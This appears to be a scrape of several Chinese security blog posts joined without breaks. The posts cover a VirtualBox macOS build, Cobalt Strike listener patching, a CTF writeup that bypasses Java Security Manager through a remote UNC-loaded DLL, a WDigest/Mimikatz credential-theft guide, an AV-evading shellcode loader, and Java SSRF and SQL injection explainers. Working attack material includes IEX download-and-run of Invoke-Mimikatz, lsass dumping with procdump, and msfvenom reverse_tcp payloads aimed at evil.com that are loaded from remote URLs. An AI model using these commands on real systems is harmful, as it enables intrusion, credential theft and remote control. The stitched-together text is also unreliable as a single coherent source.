  test_header "Darwin version"
  darwin_ver=`uname -r`
  case "$darwin_ver" in
+    19\.*)
+      check_xcode_sdk_path "$WITH_XCODE_DIR"
+      [ $? -eq 1 ] || fail
+      darwin_ver="10.15" # Catalina
+   sdk=$WITH_XCODE_DIR/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.9.sdk
+      cnf_append "VBOX_WITH_MACOSX_COMPILERS_FROM_DEVEL" "1"
+      cnf_append "VBOX_PATH_MACOSX_DEVEL_ROOT" "$WITH_XCODE_DIR/Developer"
+      CXX_FLAGS='--std=c++11'
+      ;;
    17\.*)
      check_xcode_sdk_path "$WITH_XCODE_DIR"
      [ $? -eq 1 ] || fail
      darwin_ver="10.13" # High Sierra
      sdk=$WITH_XCODE_DIR/Developer/SDKs/MacOSX10.6.sdk
      cnf_append "VBOX_WITH_MACOSX_COMPILERS_FROM_DEVEL" "1"
      cnf_append "VBOX_PATH_MACOSX_DEVEL_ROOT" "$WITH_XCODE_DIR/Developer"
      ;;

配置

1
2

./configure --disable-hardening --with-xcode-dir=/Developer/SDKs/MacOSX10.9.sdk \
--with-openssl-dir=/usr/local/opt/openssl@1.1.1i --with-qt-dir=/usr/local/Cellar/qt/5.15.2

修改 tools/kBuildTools/VBoxXcode62.kmk ，开启 c++11 支持

1
2
3
4
5

-TOOL_VBoxXcode62_CXXFLAGS         ?=
+TOOL_VBoxXcode62_CXXFLAGS         ?= --std=c++11

-TOOL_VBoxXcode62_OBJCXXFLAGS          ?=
+TOOL_VBoxXcode62_OBJCXXFLAGS          ?= --std=c++11

一处程序错误 src/VBox/Devices/USB/darwin/USBProxyDevice-darwin.cpp

1
2

-    AssertReturn(RefMatchingDict != IO_OBJECT_NULL, VERR_OPEN_FAILED);
+    AssertReturn(RefMatchingDict, VERR_OPEN_FAILED);

开始编译

1
2

source env.sh
kmk

FAQ

• 报错 yasm: Bad CPU type in executable

  因为不支持 32 位应用，需要用 x64 的 yasm 替换，

  brew install yasm && cp /usr/local/Cellar/yasm/1.3.0_2/bin/yasm tools/darwin.amd64/bin/

• 报错 kBuild: iasl VBoxDD ....

  问题同上，找 x64 的 iasl 替换，https://bitbucket.org/RehabMan/acpica/downloads/iasl.zip ,

  cp iasl tools/darwin.amd64/bin/iasl

• 找不到 libqcocoa.dylib

  修改 AutoConfig.kmk

  1 2 3 4 5 6 7

  - PATH_SDK_QT5_INC := /usr/local/Cellar/qt/5.15.2/Frameworks - PATH_SDK_QT5_LIB := /usr/local/Cellar/qt/5.15.2/Frameworks - PATH_SDK_QT5 := /usr/local/Cellar/qt/5.15.2/Frameworks + PATH_SDK_QT5_INC := /usr/local/Cellar/qt/5.15.2/include + PATH_SDK_QT5_LIB := /usr/local/Cellar/qt/5.15.2/lib + PATH_SDK_QT5 := /usr/local/Cellar/qt/5.15.2/

  或者创建软链接

  1 2	mkdir /usr/local/Cellar/qt/5.15.2/Frameworks/plugins ln -s /usr/local/Cellar/qt/5.15.2/plugins/platforms /usr/local/Cellar/qt/5.15.2/Frameworks/plugins/platforms

问题分析

我配置了一个 8880 端口的 listener，并配置了 CloudFront （回源端口 8880），生成了指向 80 端口的后门。但运行后并没有上线，Wireshark 抓包分析一下。

为了生成指向 80 端口的后门，我额外配置了一个 80 端口的 listener。

可以看到，第一步确实向 cdn 请求了，也成功从 teamserver 获得了后续的 shellcode 并加载成功了(不然不会有第二步的请求)，但是第二步开始向 8880 端口拉取任务了，这里就出问题了，因为 cdn 域名的 8880 并不能到达 teamserver 的 8880。

所以我们要修改第二步的请求，强制让它继续和 80 端口通信。

那么，为什么第一步的访问的端口是对的，第二个是错的呢。

我们知道一般用的CS后门是 staging 模式的，执行过程可以分为两个部分 stage 和 stager 。第一步执行的是 stager ，负责通过各种路径（http&https&tcp）下载 stage，然后注入到内存中执行。第二步的 stage 是真正实现后门功能的部分。

因为生成 beacon 时，用的 listener 是监听 80 端口的，所以 beacon 第一次请求的确是向 80 端口发起的。

但实际上 cdn 的 80 端口指向的是 8880 端口的 listener，8880 接到请求，会返回 stage，stage 时在 teamserver 生成的，它并不知道我们是在通过 80 端口访问它，此时的 stage 是指向 8880 的。这造成了后续的请求都会指向 8880。

要解决问题，必须修改 teamserver 生成的 stage 指向的端口，但搜了一大圈，并没有找到相关的解决方法，AggressorScript 也只能在客户端动动刀子，想要修改 Listener 相关的得要从根源入手。

杀死问题的办法 —— 魔改

我的思路是在创建 listener 的时候，再加一个选项，让 stage 用的端口和 listener 实际监听的端口分开。

当然做👇这些之前要先反编译，我这里用的 fernflower ，用法略过。

0x01 UI

CobaltStrike 用的是 swing 写的 UI，创建 Listener 的部分在 aggressor.dialogs.ListenerDialog.show()

用了 DialogManager 包装了每个 Dialog，调用 DialogManager.text 可以在当前 dialog 创建输入框，命名为 bind port，作为实际监听的端口。

来加一个输入框：

当 Save 按钮按下时，会在后续触发到 ListenerDialog.dialogResult

这里检查了一下 domain 是否超长，通过了，就推送一个 listeners.create 请求到 teamserver，参数是 listener 的名字和配置信息，再之后 listener 就会在 teamserver 建立。

我们下一步是要把 bind port 传到 this.options，这里有点绕，在调用 DialogManager.text 的时候创建一个内部的 DialogListener。

在 DialogManager.addDilogListenerInternal 可以看到会把创建的 DialogListener 加到

Save 按钮实际是 DialogManager.action_noclose 生成的
这里的，点击事件可以在这里找到。

这里调用了之前的创建的匿名 DialogListener，将值传到 this.options，所以创建的输入框会自动把值添加到配置里来，😭绕了一圈啥也不用干。

为了能在 Listeners 这个 Tab 直接看到设置的 bind port， 给 aggressor.windows.ListenerManager 的 cols 加上 bind port 就会自动加载进来了。

效果如下：

0x02 Listener

在各处调用 Listener 时，会创建 common.Listener 实例，里面是没有 bind port 字段的，所以要给它加上。

0x03 Stage

teamserver 接到创建 Listener 的请求后，会先把 Listener 序列化保存下来，以便下次 teamserver 重启的时候可以自动监听。

然后本地调用 beacons.start 。这里的调用链有点长:

server.Beacons.call() -> server.Beacons.setup() -> beacon.BeaconsSetup.start() -> server.WebCalls.getWebServer() -> beacon.BeaconSetup.exportBeaconStage()

最主要的是两个地方 server.WebCalls.getWebServer() 创建 Web 服务，beacon.BeaconSetup.exportBeaconStage 构造 Stage 的 shellcode。

这里的 var1 是监听的端口号，默认的 Stage 指向的端口和 Listener 监听的端口号是同一个，现在我们要让他们的端口分离，因为 start() 参数不是 Map ，所以不能直接往里加一个参数，只能重写或者重载一下这个方法。

我直接重写了一下，加了一个参数 bindPort，创建 Web 服务时，就用这个端口。Stage 还是用原来的 var1 作为端口，不用修改。这样创建 Listener 的时候，原来端口号代表 Stage 用的

相应的，上层的调用链也要修改一下。

0x05 编译 & 替换

然后要把修改过的代码编译一下，替换到 jar 里。

1
2
3
4
5
6
7
8
9
10

javac -cp cobaltstrike.jar common/Listener.java
zip -u cobaltstrike.jar common/Listener.class
javac -cp cobaltstrike.jar aggressor/dialogs/ListenerDialog.java 
zip -u cobaltstrike.jar aggressor/dialogs/ListenerDialog.class
javac -cp cobaltstrike.jar aggressor/windows/ListenerManager.java 
zip -u cobaltstrike.jar aggressor/windows/ListenerManager.class
javac -cp cobaltstrike.jar server/Beacons.java
zip -u cobaltstrike.jar server/Beacons.class
javac -cp cobaltstrike.jar beacon/BeaconSetup.java 
zip -u cobaltstrike.jar beacon/BeaconSetup.class

⬆️可能有点遗漏的，各位自己调一下吧。

效果

后话

这是一篇19年的存稿，当时还没有 CS 4.0，这个问题 4.0 已经解决了，可以配置 Listener 的 C2 Port 和 Bind Port，将 C2 的端口与 teamserver 实际监听的端口分开。

现在放出来，也算抛砖引玉，给想要修改 CS 的小伙计提供点经验，欢迎交流～

原理

nohup 的作用是忽略 SIGHUP 信号。当一个shell关闭后，会向运行的程序发送 SIGHUP 信号，通知同一shell内的各个进程，它们与控制终端不再关联。系统对 SIGHUP 信号的默认处理是终止收到该信号的进程。

& 的作用是忽略 SIGINT 信号。Ctrl+C 会向前台进程发送 SIGINT 信号，以关闭程序。

实现

综上，只要我们能实现 nohup 和 & 的功能，就能让程序在后台运行，不会因为 shell 断开而中断了。

由于题目是用 Java 实现，而 Java 本身并不能进行如此底层的操作，所以思路是使用 JNI，借助 C/C++ 实现。

直接上代码：

1
2
3
4
5
6
7

package io.github.jayl1n.daemon;

public class Main {

    private native boolean ignoreSignal();

}

javah io.github.jayl1n.daemon.Main 生成头文件，添加到 C++ 项目里。

1
2
3
4
5
6
7
8
9
10

#include "io_github_jayl1n_daemon_Main.h"

#include <signal.h>

JNIEXPORT jboolean JNICALL Java_io_github_jayl1n_daemon_Main_ignoreSignal(JNIEnv *, jobject) {
    //忽略 SIGHUP SIGINT 信号，防止 shell 断开 ，Ctrl+C 中断程序
    signal(SIGHUP, SIG_IGN);
    signal(SIGINT, SIG_IGN);
    return JNI_TRUE;
}

生成出来的动态库，需要放到与jar包相同的目录下，或者是 java.library.path 指定的路径，否则在 System.loadLibrary 时无法找到动态库。

java.library.path 变量可以在执行时添加 -Djava.library.path=/a/b/c 参数指定。System.getProperty("java.library.path") 可以查看当前的路径。但无法通过 System.setProperty("java.library.path","/a/b/c") 修改，因为在 JVM 启动时就会缓存这个值，后续修改不会生效，可以通过反射来清除 ClassLoader 的 sys_paths 变量(缓存标志)，重新初始化 usr_paths，代码如下：

java/lang/ClassLoader.java:1815

1
2
3
4
5
6
7
8
9
10
11
12
13

static void loadLibrary(Class<?> fromClass, String name, boolean isAbsolute) {
    ClassLoader loader = (fromClass == null) ? null : fromClass.getClassLoader();
    if (sys_paths == null) {
        usr_paths = initializePath("java.library.path");
        sys_paths = initializePath("sun.boot.library.path");
    }
    if (isAbsolute) {
        if (loadLibrary0(fromClass, new File(name))) {
            return;
        }
        throw new UnsatisfiedLinkError("Can't load library: " + name);
    }
    ......

第三行，sys_paths 不为 null 时，不会再初始化 java.library.path，相当于是第一次读取就被缓存到了 usr_paths。

通过反射清除 sys_paths:

1
2
3
4
5
6
7
8
9
10
11
12

 try {
    //先修改 java.library.path
    System.setProperty("java.library.path", System.getProperty("java.library.path") + ":/Users/jaylin/daemon-demo/bin");

    //清除缓存标志
    Field sys_paths = ClassLoader.class.getDeclaredField("sys_paths");
    sys_paths.setAccessible(true);
    sys_paths.set(null,null);
} catch (NoSuchFieldException | IllegalAccessException e) {
    e.printStackTrace();
}
    //后续再 loadLibrary 时，将会使用新的 usr_paths

👆上面说了一个奇迹淫巧，在有多个动态库，相互依赖时比较有用。

这里其实也可以使用 System.load 直接指定绝对路径（注意和System.loadLibrary 的区别）。

由于动态库无法直接打包到 jar 包里用，所以一般是要分开上传到服务器。

为了优雅的使用动态库，可以硬编码到 jar 包里，在执行时释放出来，JNI 支持延时加载动态库。

这里我使用 base64 编码， cat /Users/jaylin/daemon-demo/bin/libdaemon_jni.dylib | base64，下面写个例子，定时输出字符到 /tmp/test：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

public class Main {
    private native boolean ignoreSignal();

    public static void main(String[] args) throws IOException, Base64DecodingException {
        //释放动态库
        String dynlib = "z/rt/+AQAAAOglAAAAvwIAAAC+AQAAAEiJRejoEgAAALEBD7b5SIlF4In4SIPEIF3DkP8lZhAAAAAATI0dZRAAAEFT/yVVAAAAkGgAAAAA6eb///==（省略）";
        File dynlibFile = new File("/tmp/.jayl1n");
        FileOutputStream fileOutputStream = new FileOutputStream(dynlibFile);
        fileOutputStream.write(Base64.decode(dynlib));
        fileOutputStream.close();

        //加载动态库
        System.load("/tmp/.jayl1n");
        //调用
        new Main().ignoreSignal();
        AtomicInteger i = new AtomicInteger();
        while (true) {
            try {
                Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "echo " + i.getAndIncrement() + " >> /tmp/test"});
                Thread.sleep(1000);
            } catch (IOException | InterruptedException e) {
                e.printStackTrace();
            }
        }
    }
}

效果：

进阶 —— 免疫 kill 命令

kill 命令默认是发送 SIGTERM 信号，友好地通知进程该结束了。进程在这种情况下可以不响应 SIGTERM（即忽略），继续执行下去。

也就是说只要再 signal(SIGTERM, SIG_IGN); 就可以防止被 kill 杀掉了，经过测试确实可以实现，有兴趣的可以自己试一下。

不过，当 kill 命令带参数时（kill -9），发送的是 SIGKILL 信号，这个信号无法被捕获或忽略，CTF 里有常用的杀不死马的方法 kill -9 -1(杀死除init进程外的所有进程)，此时，程序无法感知到 SIGKILL 信号，就被系统干掉了。

References

Unix Signals

Nohup源码分析

一分钟了解nohup和&的功效

kill命令——系统内部执行流程

不可忽略或捕捉的信号—SIGSTOP和SIGKILL

目前我在某美股上市公司做红蓝对抗，实习了这么久，收获了挺多，打算有时间了写出来。

敬请关注，祝大家新年快乐～ （手动龇牙

第一次给比较正式的比赛出题 :) ，花了挺长时间准备的。之前还一直担心题目太简单被神仙们秒了，看结果还是阔以的——0解，也有些遗憾，没能让 Part 2 出来。

Writeup

题目给了一个webshell，弱口令 123456 直接进去。

Tomcat启用了Java Security Manager，webshell基本所有功能无法正常使用，但是可以查看有限的几个目录文件，无写权限。

如果顺利，应该可以收集到以下信息：

1. cookie处存在反序列化的点，有反序列化漏洞。

2. 查看lib目录，存在 commons-collections 3.1 gadget。

3. 找到 catalina.policy 文件，是Tomcat默认的安全策略配置文件，这应该是本题可能有点脑洞的地方，因为没有给 C:/babyEoP/apache-tomcat-8.5.42 的读权限，所以无法列目录，但是 conf 目录是可读的。（有将近10位选手读到了这个文件hhhh。）

   我在官方提供的 catalina.policy 的基础上，做了一些修改。给了 LoadLibrary 、 createClassLoader、 accessDeclaredMembers 几个重要权限。

分析 policy ，应该很容易可以想到，要通过 JNI 绕过 Java Security Manager。但是 JNI 需要加载一个 dll 动态链接库，由于并没有给任何写权限，所以是不可能上传 dll 的。

并且，webshell 的 Eval Java Code 使用时，需要向当前目录写一个 tmp.jsp 文件，所以也是不能用的（不要想着用这个执行代码）。

那么该如何才能执行代码来加载一个不在本地的dll呢？

下面是具体的解题思路：

题目已经给了反序列化的点以及gadget，可以通过这个来执行代码。

ysoserial 的 commons-collections 利用链提供了几个直接执行命令的 gadget，但是都是基于 Runtime.exec 的，并没有给这个权限。So 想要直接利用是不行的。

但是直接用 gadget 构造出加载dll可能比较困难，所以这里可以利用稍微高级一点的方法——加载外部的jar来执行代码。

构造见 https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java (基于 CommonsCollections6)

有些师傅用的 CommonsCollections5 gadget 改的，但是 BadAttributeValueExpException 在反序列化时，会检查是否启用 JSM，如果启用了，则不会触发 gadget 需要的 toString 方法，导致利用失败。

下面要加载 dll，用 JNI 绕 JSM。

同样因为没有写权限，且 dll 无法一起打包到 jar 里，所以要从网络上加载 dll。

这里利用 System.load 的一个特性——可以使用 UNC 路径，加载远程的 dll。

为什么可以使用 UNC 呢？来看下 System.load 的调用过程。

1. System.load

​ 调用了 Runtime.getRuntime().load0

2. Runtime.getRuntime().load0

   

​ 在这里会判断 filename 是否是一个绝对路径，如果不是就直接抛出异常，是就进一步加载。

3. File.isAbsolute

   

   再看看 File 是如何判断是否是绝对路径的。

   根据描述，linux下要求以 / 开头。windows下，要求以盘符或者 \\\\ 开头。

emm 综上，所以这里可以使用 UNC 路径。

下面是另一个坑，UNC 默认是走 445 端口的，如果没有特殊情况，公网上都是屏蔽了这个端口的。

这里利用 windows 一个特性，在开启了 webclient 服务的情况下，UNC 访问 445 失败时，会尝试访问目标服务器80端口的 webdav 去加载资源 (‾◡◝)， 这一点 hint 已经提示过了。

EXP

类

R.java

1
2
3
4
5
6
7
8
9
10
11

public class R {
    static {
    System.load("\\\\xxx.xxx.xxx.xxx\\JNI.dll");
    }

    public static native void exec(String cmd);

    public R(String cmd) {
        exec(cmd);
    }
}

执行命令

1
2

javac R.java
jar cvf R.jar R.class

将打包的 R.jar 放到服务器上的 web 服务下。

DLL

R.h

1
2
3
4
5
6
7
8
9
10

#ifdef __cplusplus
extern "C" {
#endif
JNIEXPORT void JNICALL Java_R_exec
(JNIEnv *, jclass, jstring);

#ifdef __cplusplus
}
#endif
#endif

R.cpp

1
2
3
4
5
6
7
8
9

#include "R.h"
#include<stdlib.h>

JNIEXPORT void JNICALL Java_R_exec
(JNIEnv *env, jclass clazz, jstring str) {
char* cmd= (char*)env->GetStringUTFChars(str,JNI_FALSE);
system(cmd);
env->ReleaseStringUTFChars(str,cmd);
}

编译成 dll，放到服务器的 webdav 服务下。

用 https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java 构造序列化 payload，贴到 cookie 里打一发，完事儿~

在 KB2871997 之前， Mimikatz 可以直接抓取明文密码。

当服务器安装 KB2871997 补丁后，系统默认禁用 Wdigest Auth ，内存（lsass进程）不再保存明文口令。Mimikatz 将读不到密码明文。
但由于一些系统服务需要用到 Wdigest Auth，所以该选项是可以手动开启的。（开启后，需要用户重新登录才能生效）

以下是支持的系统:

• Windows 7
• Windows 8
• Windows 8.1
• Windows Server 2008
• Windows Server 2012
• Windows Server 2012R 2

开启

• cmd

  1	reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

• powershell

  1	Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

• meterpreter

  1	reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1

关闭

• cmd

  1	reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

• powershell

  1	Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0

• meterpreter

  1	reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 0

强制锁屏

在开启 Wdigest Auth 后，需要管理员重新登录才能逮到明文密码。

我们可以强制锁屏，让管理员重新登录。

• cmd

  1	rundll32 user32.dll,LockWorkStation

• powershell

  1	powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/kiraly15/Lock-WorkStation/master/Lock-WorkStation.ps1');"

经测试 Win10企业版 仅锁屏读明文失败，需要注销才行，其它版本未知。

抓取明文

开启 Wdigest Auth 后，接下来就用常规的抓取明文的方式就行了。

Mimikatz

1. powershell

   1	IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz

2. exe

   1 2	privilege::debug sekurlsa::logonpasswords

离线抓取

当 Mimikatz 被杀，可以先将 lsass 进程 dump 下来，在本地用 Mimikatz 读取。

1. Dump 进程

   可以用微软提供的 procdump ，自带微软签名，可以过杀软。

   1	procdump64.exe -accepteula -ma lsass.exe lsass.dmp

2. Mimikatz 读取

   1 2	sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full

亲测可绕 360全家桶。

X86 & X64 的 SHELLCODE 都可以，用对应 gsl 加载就行了。

下载：【X86】 【X64】

为减小体积，已用 UPX 加壳压缩。

食用方法

首先要准备好 SHELLCODE，支持 MSF 的 RAW 和 HEX 格式。

生成 SHELLCODE

X86

1

msfvenom -p windows/meterpreter/reverse_tcp LHOST=evil.com LPORT=666 -f raw > evil.raw

X64

1

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=evil.com LPORT=666 -f hex > evil.hex

加载 SHELLCODE

有三种方式。

0X01

从参数传入 （必须是HEX格式）

1

gsl -s SHELLCODE -hex

0X02

从文件传入，需要先把 SHELLCODE 文件传到目标服务器上

• 加载 RAW 格式

  1	gsl -f evil.raw

• 加载 HEX 格式

  1	gsl -f evil.hex -hex

0X03

从远程服务器加载，把 SHELLCODE 文件挂在WEB目录下。（支持HTTP/HTTPS）

• 加载 RAW 格式

  1	gsl -u http://evil.com/evil.raw

• 加载 HEX 格式

  1	gsl -u http://evil.com/evil.hex -hex

最近的事情真的太多了 ≧﹏≦ ，趁着刚搞完小组的面试，发篇热乎的。

简介

自从 2016 年猪猪侠在乌云峰会发表议题——《Build Your SSRF Exploit Framework》，SSRF 才开始火起来的吧，攻击面越来越广，利用某些奇技淫巧可以直接GETSHELL。

SSRF 的介绍、利用方式，PDF里都有讲，就不再赘述了，开始进入正题。

支持的协议

Java 支持的协议可以在 sum.net.www.protocol 包下看到，如下图：

图中用的 JDK 是 1.7，可以看到有 gopher file ftp http https jar mailto netdoc 八种协议。其中最有意思的是 gopher 协议，可以用来构造其它协议的请求。但是，gopher 在 JDK8 中已经被移除。 经过测试，在高版本的 JDK7 里，虽然 sun.net.www.protoocol 中还有 gopher 包，但是实际也已经不能使用，会抛 java.net.MalformedURLException: unknown protocol: gopher 的异常，被阉割地时间在2012年左右（From @K0rz3n）。

发起请求的流程

构造一个简单的 http 请求：

1
2
3
4
5
6
7
8
9

try {
    URL u = new URL(url);
    URLConnection urlConnection = u.openConnection();
    InputStream inputStream = urlConnection.getInputStream();

    //...
} catch (IOException e) {
    e.printStackTrace();
}

简述下这个过程，首先，构造一个 URL 对象，调用 url 的 openConnection() 方法来获取一个 URLConnection 实例，然后再调 getInputStream() 拿到 InputStream，也就是请求的响应流。之后，再做我们想要的其它事情。

在这个过程中，如果 URL 是可控的，那么就会存在 SSRF 漏洞。

下面分析下主要的几个方法。

new URL()

构造一个 URL 对象，构造时，可以指定 协议，HOST，端口，文件路径，URLStreamHandler。

其中，URLStreamHandler 是一个抽象类，每个协议都有继承它的子类 —— Handler（可以在各协议的包下找到）。Handler 定义了该如何去打开一个连接（ openConnection() ）。

如果是直接传入一个 URL 字符串，会在构造对象时，根据 protocol 自动创建对应的 Handler 对象。

openConnection()

每次调用 openConnection() 时，都会创造一个新的实例，也就是 URLConnection。但是，在实例创建时，真实的网络连接实际上并没有建立。只有在调用 URLConnection.connect() 方法后才会建立连接。

getInputStream()

从打开的连接获取一个 InputStream，可以从中得到 URL 请求的响应流。在调用这个方法时，会自动调用 URLConnection.connect() 方法，也就是建立连接。所以一旦调用 getInputStream() 连接就已经建立好了，不管后续做什么操作，这个 URL 请求都已经发出去了。

另一种写法

1
2
3
4
5
6
7

URL u = new URL(url);
HttpURLConnection con = (HttpURLConnection) u.openConnection();
con.setRequestMethod("GET");
con.setRequestProperty("User-Agent", "Mozilla/5.0");
con.getInputStream();

//...

假设这里的 URL 使用户可控的，这段代码相对于上一段来说，会稍微 “安全” 些。如果攻击者想要使用 gopher 协议攻击内网服务，在第 2 行时，会由于类型强制转换失败而抛出异常。在异常抛出前，一直没有调用到 connect() 方法，所以请求并没有发出去。

第 2 行的类型转换相当于限定了协议，在能够明确使用的协议的情况下，建议用这种方式对协议做限制。

其它发起请求的例子

javax.imageio.ImageIO

这是 JDK 自带的类，它的 read() 方法，用来加载图片。它可以传入一个 URL 对象，且没有协议限制，如下：

ImageIO.java:1386

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

public static BufferedImage read(URL input) throws IOException {
    if (input == null) {
        throw new IllegalArgumentException("input == null!");
    }

    InputStream istream = null;
    try {
        istream = input.openStream();
    } catch (IOException e) {
        throw new IIOException("Can't get input stream from URL!", e);
    }
    ImageInputStream stream = createImageInputStream(istream);
    BufferedImage bi;
    try {
        bi = read(stream);
        if (bi == null) {
            stream.close();
        }
    } finally {
        istream.close();
    }
    return bi;
}

如果服务器在加载图片时，URL 是用户可控的，那么就会存在 SSRF 漏洞。

HttpClient

一个 get 请求的例子：

1
2
3

CloseableHttpClient httpClient = HttpClients.createDefault();
HttpGet getRequest = new HttpGet(url);
HttpResponse response = httpClient.execute(getRequest);

问题同上。

其它

• okhttp

• Request

• …

容易出现SSRF的功能点

只要是能够对外发起网络请求的地方，就有可能会出现SSRF漏洞。

• 从指定url获取内容

• 数据源连接

• 后台状态刷新

• webmail (POP3/SMTP/IMAP)

• 文件处理 (加载图片/XML/PDF/ffpmg/ImageMagic)

修复策略

• 避免 url 用户可控，包括 path

• 统一请求响应及错误信息

• 白名单校验url及ip

• 限制协议及端口

• TTL 设置为 0，防止 DNS Rebinding 攻击（Java默认为 0）

可以参考 @JoyChou 师傅的修复方案。

相关文章

• Build Your SSRF Exploit Framework

• SSRF in JAVA

• Use DNS Rebinding to Bypass SSRF in JAVA

SQL注入是什么，有什么用，就不多介绍了。总结下漏洞的原因，主要是由于开发者对用户的输入没有做好过滤，直接将用户的输入带入到 SQL语句中，导致恶意用户可以控制服务器执行的SQL语句。

在 Java 中，操作SQL的主要有以下几种方式：

1. java.sql.Statement

2. java.sql.PrepareStatement

3. 使用第三方 ORM 框架 —— MyBatis 或 Hibernate

下面我们来分析以上几种执行SQL的方式。

java.sql.Statement

java.sql.Statement 是最原始的执行SQL的接口，使用它时，需要手动拼接SQL语句，如下面这样：

1
2
3

String sql = "SELECT * FROM user WHERE id = '" + id + "'";
Statement statement = connection.createStatement();
statement.execute(sql);

假设这里 id 参数是直接从用户的请求里获取的，并且没有经过过滤，那么这处代码就会存在SQL注入漏洞。

构造请求 /?id='or 1 #，服务器将 'or 1 # 拼接到 sql 语句中，就会变成 SELECT * FROM user WHERE id = ''or 1 #，将返回 user 表的所有记录。

在任何时候，都不推荐使用 java.sql.Statement 这种方式来执行SQL。

因为这种方式写的代码可读性很差，容易出错，同时也存在很大的安全隐患。

java.sql.PrepareStatement

这个接口是对 java.sql.Statement 的拓展，拥有了防SQL注入的特性。

Tip: java.sql.Statement 每次执行一条SQL，都要重新编译一次SQL。而 java.sql.PreparedStatement 预编译的方式，会将SQL缓存在数据库，可以重复调用，相比 Statement 效率要高一些。

使用时，在SQL语句中，用 ? 作为占位符，代替需要传入的参数，然后将该语句传递给数据库，数据库会对这条语句进行预编译。如果要执行这条SQL，只要用特定的 set 方法，将传入的参数设置到SQL语句中的指定位置，然后调用 execute 方法执行这条完整的SQL。示例如下：

1
2
3
4
5
6

String sql = "SELECT * FROM user WHERE id = ?";
//预编译语句
PreparedStatement preparedStatement = connection.prepareStatement(sql);
//填入参数
preparedStatement.setString(1,reqStuId);
preparedStatement.executeQuery();

此时，如果我用之前的请求攻击，执行的SQL会变成 SELECT * FROM user WHERE id = '\'or 1 #'，可以看到单引号是被转义了，同时参数也被一对单引号包裹，数字型注入也不存在了。

特殊情况

ORDER BY

我们已经知道，通过占位符传参，不管传递的是什么类型的值，都会被单引号包裹。而使用 ORDER BY 时，要求传入的是字段名或者是字段位置，如：

1. SELECT * FROM user ORDER BY id

2. SELECT * FROM user ORDER BY 1

如果传入的是引号包裹的字符串，那么 ORDER BY 会失效，如：SELECT * FROM user ORDER BY 'id'。

所以，如果要动态传入 ORDER BY 参数，只能用字符串拼接的方式，如：

1

String sql = "SELECT * FROM user ORDER BY " + column;

那么这样依然可能会存在SQL注入的问题，在 Java 中会有两种情况：

1. column 是字符串型

   这种情况和 Statement 中描述的一样，是存在注入的。要防御就必须要手动过滤，或者将字段名硬编码到 SQL 语句中，比如：

   1 2 3 4 5 6 7 8 9 10 11

   String column = "id"; String sql =""; switch(column){ case "id": sql = "SELECT * FROM user ORDER BY id"; break; case "username": sql = "SELECT * FROM user ORDER BY username"; break; ...... }

2. column 是 int 型

   因为 Java 是强类型语言，当用户传递的参数与后台定义的参数类型不匹配，程序会抛出异常，赋值失败。所以，不会存在注入的问题。

类似的， GROUP BY 也会有同样的问题。

MyBatis

基础篇提到的 JEESNS 用的就是 MyBatis，略过介绍。

MyBatis 使用内联参数 ${example} 或 #{example}，将查询的属性和参数做绑定，如下：

${}

1
2
3
4
5

<select id="selectStudentByStuId" resultMap="studentMap">
    SELECT *
    FROM student
    WHERE stu_id = ${stuId}
</select>

#{}

1
2
3
4
5

<select id="selectStudentByStuId" resultMap="studentMap">
    SELECT *
    FROM student
    WHERE stu_id = #{stuId}
</select>

两种方式有什么区别呢？接着看。

${} （不安全的写法）

使用 ${foo} 这样格式的传入参数会直接参与SQL编译，类似字符串拼接的效果，是存在SQL注入漏洞的。所以一般情况下，不会用这种方式绑定参数。

#{}

使用 #{} 做参数绑定时， MyBatis 会将SQL语句进行预编译，避免SQL注入的问题。

MyBatis 预编译模式的实现，在底层同样是依赖于 java.sql.PreparedStatement，所以 PreparedStatement 存在的问题，这里也会存在。

ORDER BY 只能通过 ${} 传递。为了避免SQL注入，需要手动过滤，或者在SQL里硬编码 ORDER BY 的字段名。

此外，还有一种情况 —— LIKE 模糊查询。

看下面这个写法：

1
2
3
4
5
6

<select id="selectStudentByFuzzyQuery" resultMap="studentMap">
    SELECT *
    FROM student
    WHERE student.stu_name
            LIKE '%#{stuName}%'
</select>

在这里，MyBatis 会把 %#{stuName}% 作为要查询的参数，数据库会执行 SELECT * FROM student WHERE student.stu_name LIKE '%#{stuName}%'，导致查询失败，所以这里只能用 ${} 的方式传入。而如果用 ${} 又存在SQL注入的风险，怎么办呢？

最好的方法是，使用数据库自带的 CONCAT ，将 % 和我们用 #{} 传入参数连接起来，这样就既不存在注入的问题，也能满足需求啦。示例：

1
2
3
4
5
6

<select id="selectStudentByFuzzyQuery" resultMap="studentMap">
    SELECT *
    FROM student
    WHERE student.stu_name
            LIKE CONCAT('%',#{stuName},'%')
</select>

Hibernate

Hibernate 是一个高性能的 ORM 框架，可以自动生成 SQL 语句，通常与 Struts、Spring 一起搭配使用，也就是我们熟知的 SSH 框架。

Hibernate 支持多种操作数据库的方式，包括原生的 SQL，以及自家的 HQL。

原生SQL

原生 SQL 的注入和前面介绍过的注入都一样，都是拼接的问题，就不细讲了。这里介绍下 Hibernate 写原生 SQL 时，可能会用到的几种写法吧。

